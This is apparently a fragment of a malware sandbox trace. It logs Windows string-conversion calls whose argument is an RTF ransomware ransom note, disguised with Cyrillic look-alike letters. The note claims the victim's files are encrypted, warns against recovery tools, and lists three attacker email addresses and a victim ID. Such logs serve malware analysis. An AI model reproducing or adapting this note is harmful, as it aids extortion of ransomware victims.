\\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 